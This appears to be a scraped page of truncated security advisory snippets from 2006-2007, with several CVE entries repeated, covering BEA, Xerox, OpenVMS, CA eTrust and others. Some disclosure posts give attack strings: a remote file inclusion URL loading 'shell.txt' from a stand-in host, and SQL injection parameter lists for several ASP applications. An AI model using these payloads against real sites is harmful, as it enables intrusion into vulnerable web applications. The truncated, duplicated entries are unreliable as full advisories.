WEB vulnerabilities mining techniques-vulnerability warning-the black bar safety net

Source: security focus Author: 7all sgh81at163.com WEB vulnerability Mining Technology |=---------------= WEB vulnerability Mining Technology=-----------------------------=| |=-----------------------------------------------------------------=| |=---------------= 7all7all7at163. com...

Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion

php web portail remote file include download site: https://sourceforge.net/project/showfiles.php?groupid=178400 product:php web portail bug: remote file include risk : high remote file include : /includes/includes.php?sitepath=http://site.com/shell.txt?%00 laurent gaffié http://s-a-p.ca/ contact:...

CVE-2007-0434

BEA AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2 does not properly set the severity level of audit events when the system load is high, which might make it easier for attackers to avoid detection...

Design/Logic Flaw

BEA AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2 does not properly set the severity level of audit events when the system load is high, which might make it easier for attackers to avoid detection...

CVE-2007-0434

BEA AquaLogic Enterprise Security 2.0–2.2 (AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2) has a vulnerability where audit-event severity is not properly set under high system load. This can hinder detection by bypassing or delaying alerting, potentially reducing ...

CVE-2007-0434

BEA AquaLogic Enterprise Security 2.0 through 2.0 SP2, 2.1 through 2.1 SP1, and 2.2 does not properly set the severity level of audit events when the system load is high, which might make it easier for attackers to avoid detection...

BEA产品多个远程安全漏洞

BEA Systems WebLogic包含多种应用系统集成方案，包括Server/Express/Integration等。 BEA Weblogic中存在多个安全漏洞，可能允许恶意攻击者获得敏感信息、绕过某些安全限制、导致拒绝服务或完全入侵系统。 这些漏洞包括： 1 SSL库中的漏洞可能允许判断明文块； 2 从缓存重用连接时服务器没有正确地验证客户端证书，导致攻击者可以通过X.509证书访问Web服务器。成功攻击要求应用程序允许通过单个客户端进程访问多个用户； 3 存储在JDBCDataSourceFactory MBean Properties属性中的口令没有加密； 4...

Fedora Core 5 : vixie-cron-4.1-55.FC5 (2006-823)

Fri Jul 14 2006 Jason Vas Dias - 4:4.1-55.FC5 - fix bug 198893 - change permissions of cron spool directories to 0700 - fix bug 191823: fix missing BuildRequires: audit-libs-devel Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security...

[SA23632] OpenVMS Audit Logfile Password Exposure

TITLE: OpenVMS Audit Logfile Password Exposure SECUNIA ADVISORY ID: SA23632 VERIFY ADVISORY: http://secunia.com/advisories/23632/ CRITICAL: Less critical IMPACT: Exposure of sensitive information WHERE: Local system OPERATING SYSTEM: OpenVMS 8.x http://secunia.com/product/6052/ DESCRIPTION: A...

CA eTrust Security Command Center and eTrust Audit 存在多个漏洞

CA eTrust Security Command Center eSCC和eTrust Audit是CA产品安全命令执行和审核程序。 CA eTrust Security Command Center eSCC和eTrust Audit存在多个安全问题，远程攻击者可以利用漏洞获得敏感信息，执行任意文件删除或者重播攻击。 第一个问题是允许攻击者发现在windows平台上的web服务器路径信息，此漏洞影响eTrust Security Command Center Server 1.0, r8, r8 SP1 CR1, 和r8 SP1 CR2版本。...

CVE-2006-6433

Xerox WorkCentre and WorkCentre Pro before 12.060.17.000, 13.x before 13.060.17.000, and 14.x before 14.060.17.000 does not record accurate timestamps, which makes it easier for remote attackers to avoid detection when an audit tries to rely on these timestamps...

CVE-2006-6439

Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allows remote attackers to download the audit log and obtain potentially sensitive information via unspecified vectors...

CVE-2006-6439

Affected products: Xerox WorkCentre and WorkCentre Pro devices running before 12.050.03.000, before 13.050.03.000 (13.x), and before 14.050.03.000 (14.x). Vulnerability: CVE-2006-6439 allows remote attackers to download the audit log and obtain potentially sensitive information via unspecified ve...

CVE-2006-6439

Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allows remote attackers to download the audit log and obtain potentially sensitive information via unspecified vectors...

ISAA-2006-010.txt

============================================= INTERNET SECURITY AUDITORS ALERT 2006-010 - Original release date: September 28, 2006 - Last revised: December 1, 2006 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 ============================================= I. VULNERABILITY...

GLSA-200611-17 : fvwm: fvwm-menu-directory fvwm command injection

The remote host is affected by the vulnerability described in GLSA-200611-17 fvwm: fvwm-menu-directory fvwm command injection Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that fvwm-menu-directory does not sufficiently sanitise directory names prior to generating menus. Impact ...

infinsql.txt

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

2020realest.txt

vendor site:http://www.2020applications.com/ product:20/20 real estate bug:injection sql risk:high injection sql get : /listings.asp?itemID='sql /listings.asp?peopleID='sql /f-googleearth.asp?itemID='sql /f-email.asp?strPeopleID=1&itemID='sql...

Aspmforum [ multiples injection sql (get&post)]

vendor site:http://www.kervancilar.com/ product:Aspmforum bug:injection sql get & post risk:high injection sql get : /forum.asp?baslik='sql /forum2.asp?baslik=2&soruid='sql /kullanicilistesi.asp?ak=&at=&harf='sql /kullanicilistesi.asp?at=baslayan&ak='sql once logged :...

candypress.txt

vendor site:http://www.candypress.com/ product:CandyPress Store bug:injection sql risk:medium injection sql get : http://site.com/sa3.5.2.14/scripts/openPolicy.asp?policy='sql http://site.com/sa3.5.2.14/scripts/prodList.asp?brand='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact:...